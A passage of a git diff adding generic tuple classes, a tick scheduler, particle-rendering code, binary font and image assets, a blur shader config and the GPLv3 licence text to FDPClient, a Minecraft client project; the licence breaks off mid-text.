+ + public static <A, B, C> ImmutableTriplet<A, B, C> of(A a, B b, C c) { + return new ImmutableTriplet<>(a, b, c); + } + + public Triplet<A, A, A> pairOfFirst() { return Triplet.of(a); } + + public Triplet<B, B, B> pairOfSecond() { return Triplet.of(b); } + + public Triplet<C, C, C> pairOfThird() { return Triplet.of(c); } + + + @Override + public A getFirst() { + return a; + } + + @Override + public B getSecond() { + return b; + } + + @Override + public C getThird() { + return c; + } + + @Override + public <R> R apply(TriFunction<? super A, ? super B, ? super C, ? extends R> func) { + return func.apply(a, b, c); + } + + @Override + public void use(TriConsumer<? super A, ? super B, ? super C> func) { + func.accept(a, b, c); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutableUnit.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutableUnit.java new file mode 100644 index 0000000..ed14709 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/immutable/ImmutableUnit.java @@ -0,0 +1,34 @@ +package net.ccbluex.liquidbounce.utils.tuples.immutable; + +import net.ccbluex.liquidbounce.utils.tuples.Unit; + +import java.util.function.Consumer; +import java.util.function.Function; + + +public final class ImmutableUnit<A> extends Unit<A> { + private final A a; + + ImmutableUnit(A a) { + this.a = a; + } + + public static <A> ImmutableUnit<A> of(A a) { + return new ImmutableUnit<>(a); + } + + @Override + public A get() { + return a; + } + + @Override + public <R> R apply(Function<? super A, ? extends R> func) { + return func.apply(a); + } + + @Override + public void use(Consumer<? super A> func) { + func.accept(a); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutablePair.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutablePair.java new file mode 100644 index 0000000..e53f612 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutablePair.java @@ -0,0 +1,60 @@ +package net.ccbluex.liquidbounce.utils.tuples.mutable; + +import net.ccbluex.liquidbounce.utils.tuples.Pair; + +import java.util.function.BiConsumer; +import java.util.function.BiFunction; +import java.util.function.UnaryOperator; + +/** + * @author Zywl + * @since 15/11/2023 + */ +public class MutablePair<A, B> extends Pair<A, B> { + private A a; + private B b; + + MutablePair(A a, B b) { + this.a = a; + this.b = b; + } + + public static <A, B> MutablePair<A, B> of(A a, B b) { + return new MutablePair<>(a, b); + } + + public static <A> MutablePair<A, A> of(A a) { + return new MutablePair<>(a, a); + } + + public MutablePair<A, A> pairOfFirst() { return of(a); } + + public MutablePair<B, B> pairOfSecond() { return of(b); } + + + @Override + public A getFirst() { return a; } + + @Override + public B getSecond() { return b; } + + public void setFirst(A a) { this.a = a; } + + public void setSecond(B b) { this.b = b; } + + @Override + public <R> R apply(BiFunction<? super A, ? super B, ? extends R> func) { return func.apply(a, b); } + + @Override + public void use(BiConsumer<? super A, ? super B> func) { + func.accept(a, b); + } + + public void computeFirst(UnaryOperator<A> operator) { + this.a = operator.apply(a); + } + + public void computeSecond(UnaryOperator<B> operator) { + this.b = operator.apply(b); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutableTriplet.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutableTriplet.java new file mode 100644 index 0000000..2ba1e46 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutableTriplet.java @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.utils.tuples.mutable; + + +import net.ccbluex.liquidbounce.utils.tuples.Triplet; + +import java.util.function.UnaryOperator; + +public class MutableTriplet<A, B, C> extends Triplet<A, B, C> { + private A a; + private B b; + private C c; + + MutableTriplet(A a, B b, C c){ + this.a = a; + this.b = b; + this.c = c; + } + + public static <A, B, C> MutableTriplet<A, B, C> of(A a, B b, C c) { + return new MutableTriplet<>(a, b, c); + } + + public static <A> MutableTriplet<A, A, A> of(A a) { + return new MutableTriplet<>(a, a, a); + } + + public MutableTriplet<A, A, A> pairOfFirst() { return of(a); } + + public MutableTriplet<B, B, B> pairOfSecond() { return of(b); } + + public MutableTriplet<C, C, C> pairOfThird() { return of(c); } + + @Override + public A getFirst() { return a; } + + @Override + public B getSecond() { return b; } + + @Override + public C getThird() { return c; } + + public void setFirst(A a) { this.a = a; } + + public void setSecond(B b) { this.b = b; } + + public void setThird(C c) { this.c = c; } + + @Override + public <R> R apply(TriFunction<? super A, ? super B, ? super C, ? extends R> func) { return func.apply(a, b, c); } + + @Override + public void use(TriConsumer<? super A, ? super B, ? super C> func) { func.accept(a, b, c); } + + public void computeFirst(UnaryOperator<A> operator) { + this.a = operator.apply(a); + } + + public void computeSecond(UnaryOperator<B> operator) { + this.b = operator.apply(b); + } + + public void computeThird(UnaryOperator<C> operator) { + this.c = operator.apply(c); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutableUnit.java b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutableUnit.java new file mode 100644 index 0000000..dbb970c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/tuples/mutable/MutableUnit.java @@ -0,0 +1,40 @@ +package net.ccbluex.liquidbounce.utils.tuples.mutable; + +import net.ccbluex.liquidbounce.utils.tuples.Unit; + +import java.util.function.Consumer; +import java.util.function.Function; +import java.util.function.UnaryOperator; + +public class MutableUnit<A> extends Unit<A> { + private A a; + + MutableUnit(A a){ + this.a = a; + } + + public static <A> MutableUnit<A> of(A a){ + return new MutableUnit<>(a); + } + + @Override + public A get() { + return a; + } + + public void set(A a) { this.a = a; } + + @Override + public <R> R apply(Function<? super A, ? extends R> func) { + return func.apply(a); + } + + @Override + public void use(Consumer<? super A> func) { + func.accept(a); + } + + public void compute(UnaryOperator<A> mapper) { + this.a = mapper.apply(a); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/waitTickUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/waitTickUtils.kt new file mode 100644 index 0000000..1ff7997 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/waitTickUtils.kt @@ -0,0 +1,40 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.timing + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.GameTickEvent +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.TickEvent +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance + +object WaitTickUtils : MinecraftInstance(), Listenable { + + private val scheduledActions = mutableListOf<ScheduledAction>() + + fun scheduleTicks(ticks: Int, action: () -> Unit) { + scheduledActions.add(ScheduledAction(ClientUtils.runTimeTicks + ticks, action)) + } + + @EventTarget + fun onTick(event: TickEvent) { + val currentTick = ClientUtils.runTimeTicks + val iterator = scheduledActions.iterator() + + while (iterator.hasNext()) { + val scheduledAction = iterator.next() + if (currentTick >= scheduledAction.ticks) { + scheduledAction.action.invoke() + iterator.remove() + } + } + } + + private data class ScheduledAction(val ticks: Int, val action: () -> Unit) + + override fun handleEvents() = true +} \ No newline at end of file diff --git a/src/main/java/net/vitox/Particle.java b/src/main/java/net/vitox/Particle.java new file mode 100644 index 0000000..2a96e6a --- /dev/null +++ b/src/main/java/net/vitox/Particle.java @@ -0,0 +1,122 @@ +package net.vitox; + +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.ScaledResolution; + +import java.util.Random; + +/** + * Particle API + * This Api is free2use + * But u have to mention me. + * + * @author Vitox + * @version 3.0 + */ +class Particle { + + public float x; + public float y; + public final float size; + private final float ySpeed = new Random().nextInt(5); + private final float xSpeed = new Random().nextInt(5); + private int height; + private int width; + + Particle(int x, int y) { + this.x = x; + this.y = y; + this.size = genRandom(); + } + + private float lint1(float f) { + return (1.02F * (1.0F - f)) + f; + } + + private float lint2(float f) { + return 1.02F + f * (1.0F - 1.02F); + } + + void connect(float x, float y) { + RenderUtils.connectPoints(getX(), getY(), x, y); + } + + public int getHeight() { + return height; + } + + public void setHeight(int height) { + this.height = height; + } + + public int getWidth() { + return width; + } + + public void setWidth(int width) { + this.width = width; + } + + public float getX() { + return x; + } + + public void setX(int x) { + this.x = x; + } + + public float getY() { + return y; + } + + public void setY(int y) { + this.y = y; + } + + void interpolation() { + for(int n = 0; n <= 64; ++n) { + final float f = n / 64.0f; + final float p1 = lint1(f); + final float p2 = lint2(f); + + if(p1 != p2) { + y -= f; + x -= f; + } + } + } + + void fall() { + try { + final Minecraft mc = Minecraft.getMinecraft(); + if(mc == null) + return; + final ScaledResolution scaledResolution = StaticStorage.scaledResolution; + if(scaledResolution == null) + return; + y = (y + ySpeed); + x = (x + xSpeed); + + if (y > mc.displayHeight) + y = 1; + + if (x > mc.displayWidth) + x = 1; + + if (x < 1) + x = scaledResolution.getScaledWidth(); + + if (y < 1) + y = scaledResolution.getScaledHeight(); + }catch (Exception E){ + E.printStackTrace(); + } + } + + private float genRandom() { + return (0.3f + (float) Math.random() * (0.6f - 0.3f + 1.0F)); + } +} + diff --git a/src/main/java/net/vitox/ParticleGenerator.java b/src/main/java/net/vitox/ParticleGenerator.java new file mode 100644 index 0000000..0965d87 --- /dev/null +++ b/src/main/java/net/vitox/ParticleGenerator.java @@ -0,0 +1,65 @@ +package net.vitox; + +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; + +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +/** + * Particle API This Api is free2use But u have to mention me. + * + * @author Vitox + * @version 3.0 + */ +public class ParticleGenerator { + + private final List<Particle> particles = new ArrayList<>(); + private final int amount; + + private int prevWidth; + private int prevHeight; + + public ParticleGenerator(final int amount) { + this.amount = amount; + } + + public void draw(final int mouseX, final int mouseY) { + if(Minecraft.getMinecraft() == null) + return; + if(particles.isEmpty() || prevWidth != Minecraft.getMinecraft().displayWidth || prevHeight != Minecraft.getMinecraft().displayHeight) { + particles.clear(); + create(); + } + + prevWidth = Minecraft.getMinecraft().displayWidth; + prevHeight = Minecraft.getMinecraft().displayHeight; + + for(final Particle particle : particles) { + particle.fall(); + particle.interpolation(); + + int range = 50; + final boolean mouseOver = (mouseX >= particle.x - range) && (mouseY >= particle.y - range) && (mouseX <= particle.x + range) && (mouseY <= particle.y + range); + + if(mouseOver) { + particles.stream() + .filter(part -> (part.getX() > particle.getX() && part.getX() - particle.getX() < range + && particle.getX() - part.getX() < range) + && (part.getY() > particle.getY() && part.getY() - particle.getY() < range + || particle.getY() > part.getY() && particle.getY() - part.getY() < range)) + .forEach(connectable -> particle.connect(connectable.getX(), connectable.getY())); + } + + RenderUtils.drawCircle(particle.getX(), particle.getY(), particle.size, 0xffFFFFFF); + } + } + + private void create() { + final Random random = new Random(); + + for(int i = 0; i < amount; i++) + particles.add(new Particle(random.nextInt(Minecraft.getMinecraft().displayWidth), random.nextInt(Minecraft.getMinecraft().displayHeight))); + } +} \ No newline at end of file diff --git a/src/main/resources/InputMethodBlocker-Natives-x64.dll b/src/main/resources/InputMethodBlocker-Natives-x64.dll new file mode 100644 index 0000000..006601f Binary files /dev/null and b/src/main/resources/InputMethodBlocker-Natives-x64.dll differ diff --git a/src/main/resources/InputMethodBlocker-Natives-x86.dll b/src/main/resources/InputMethodBlocker-Natives-x86.dll new file mode 100644 index 0000000..5cf45a3 Binary files /dev/null and b/src/main/resources/InputMethodBlocker-Natives-x86.dll differ diff --git a/src/main/resources/assets/minecraft/fdpclient/background.png b/src/main/resources/assets/minecraft/fdpclient/background.png new file mode 100644 index 0000000..7494a90 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/background.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/blur.json b/src/main/resources/assets/minecraft/fdpclient/blur.json new file mode 100644 index 0000000..8a8032e --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/blur.json @@ -0,0 +1,67 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 5.0 ] + } + ] + } + ] +} diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/aurora.png b/src/main/resources/assets/minecraft/fdpclient/cape/aurora.png new file mode 100644 index 0000000..87936bb Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/aurora.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/citrus.png b/src/main/resources/assets/minecraft/fdpclient/cape/citrus.png new file mode 100644 index 0000000..700c3f5 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/citrus.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/classic.png b/src/main/resources/assets/minecraft/fdpclient/cape/classic.png new file mode 100644 index 0000000..7f7de67 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/classic.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/classic2.png b/src/main/resources/assets/minecraft/fdpclient/cape/classic2.png new file mode 100644 index 0000000..9065c79 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/classic2.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/fire.png b/src/main/resources/assets/minecraft/fdpclient/cape/fire.png new file mode 100644 index 0000000..ab5902c Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/fire.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/forest.png b/src/main/resources/assets/minecraft/fdpclient/cape/forest.png new file mode 100644 index 0000000..a96eff6 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/forest.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/lava.png b/src/main/resources/assets/minecraft/fdpclient/cape/lava.png new file mode 100644 index 0000000..07c3b3e Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/lava.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/lavender.png b/src/main/resources/assets/minecraft/fdpclient/cape/lavender.png new file mode 100644 index 0000000..a3714ef Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/lavender.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/modern1.png b/src/main/resources/assets/minecraft/fdpclient/cape/modern1.png new file mode 100644 index 0000000..8c4db85 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/modern1.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/modern2.png b/src/main/resources/assets/minecraft/fdpclient/cape/modern2.png new file mode 100644 index 0000000..63d202a Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/modern2.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/ocean.png b/src/main/resources/assets/minecraft/fdpclient/cape/ocean.png new file mode 100644 index 0000000..66b17be Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/ocean.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/owner.png b/src/main/resources/assets/minecraft/fdpclient/cape/owner.png new file mode 100644 index 0000000..0ff9828 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/owner.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/cape/rose.png b/src/main/resources/assets/minecraft/fdpclient/cape/rose.png new file mode 100644 index 0000000..11a67db Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/cape/rose.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Bangers.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Bangers.ttf new file mode 100644 index 0000000..0bba496 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Bangers.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Comfortaa.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Comfortaa.ttf new file mode 100644 index 0000000..6023bde Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Comfortaa.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Icon.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Icon.ttf new file mode 100644 index 0000000..3fb13d1 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Icon.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Nunito.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Nunito.ttf new file mode 100644 index 0000000..dfd0fcb Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Nunito.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Orbitron.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Orbitron.ttf new file mode 100644 index 0000000..ce992be Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Orbitron.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Quicksand.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Quicksand.ttf new file mode 100644 index 0000000..57d002f Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Quicksand.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Rajdhani.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Rajdhani.ttf new file mode 100644 index 0000000..5618bc3 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Rajdhani.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Roboto-Regular.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Roboto-Regular.ttf new file mode 100644 index 0000000..ddf4bfa Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Roboto-Regular.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/SF.ttf b/src/main/resources/assets/minecraft/fdpclient/font/SF.ttf new file mode 100644 index 0000000..e50d50b Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/SF.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/SFBOLD.ttf b/src/main/resources/assets/minecraft/fdpclient/font/SFBOLD.ttf new file mode 100644 index 0000000..f5253b0 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/SFBOLD.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Tahoma.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Tahoma.ttf new file mode 100644 index 0000000..95009c1 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Tahoma.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Tenacityicon.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Tenacityicon.ttf new file mode 100644 index 0000000..308bf3a Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Tenacityicon.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/Ubuntu.ttf b/src/main/resources/assets/minecraft/fdpclient/font/Ubuntu.ttf new file mode 100644 index 0000000..f98a2da Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/Ubuntu.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/check.ttf b/src/main/resources/assets/minecraft/fdpclient/font/check.ttf new file mode 100644 index 0000000..3b6bb6e Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/check.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/gooboto.ttf b/src/main/resources/assets/minecraft/fdpclient/font/gooboto.ttf new file mode 100644 index 0000000..dad5a5c Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/gooboto.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/jello.ttf b/src/main/resources/assets/minecraft/fdpclient/font/jello.ttf new file mode 100644 index 0000000..f4c4ad1 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/jello.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/mainmenu.ttf b/src/main/resources/assets/minecraft/fdpclient/font/mainmenu.ttf new file mode 100644 index 0000000..0cbe020 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/mainmenu.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/mojangles.ttf b/src/main/resources/assets/minecraft/fdpclient/font/mojangles.ttf new file mode 100644 index 0000000..da89fa7 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/mojangles.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/mojanglesbold.ttf b/src/main/resources/assets/minecraft/fdpclient/font/mojanglesbold.ttf new file mode 100644 index 0000000..fc71ca3 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/mojanglesbold.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/regular.ttf b/src/main/resources/assets/minecraft/fdpclient/font/regular.ttf new file mode 100644 index 0000000..2b03db5 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/regular.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/stylesicons.ttf b/src/main/resources/assets/minecraft/fdpclient/font/stylesicons.ttf new file mode 100644 index 0000000..78b90a6 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/stylesicons.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/tenacity-bold.ttf b/src/main/resources/assets/minecraft/fdpclient/font/tenacity-bold.ttf new file mode 100644 index 0000000..9cc7c46 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/tenacity-bold.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/font/tenacity.ttf b/src/main/resources/assets/minecraft/fdpclient/font/tenacity.ttf new file mode 100644 index 0000000..2edf84b Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/font/tenacity.ttf differ diff --git a/src/main/resources/assets/minecraft/fdpclient/japanesebackground.png b/src/main/resources/assets/minecraft/fdpclient/japanesebackground.png new file mode 100644 index 0000000..545b8ae Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/japanesebackground.png differ diff --git a/src/main/resources/assets/minecraft/fdpclient/misc/LICENSE.txt b/src/main/resources/assets/minecraft/fdpclient/misc/LICENSE.txt new file mode 100644 index 0000000..c29bf19 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/misc/LICENSE.txt @@ -0,0 +1,673 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the 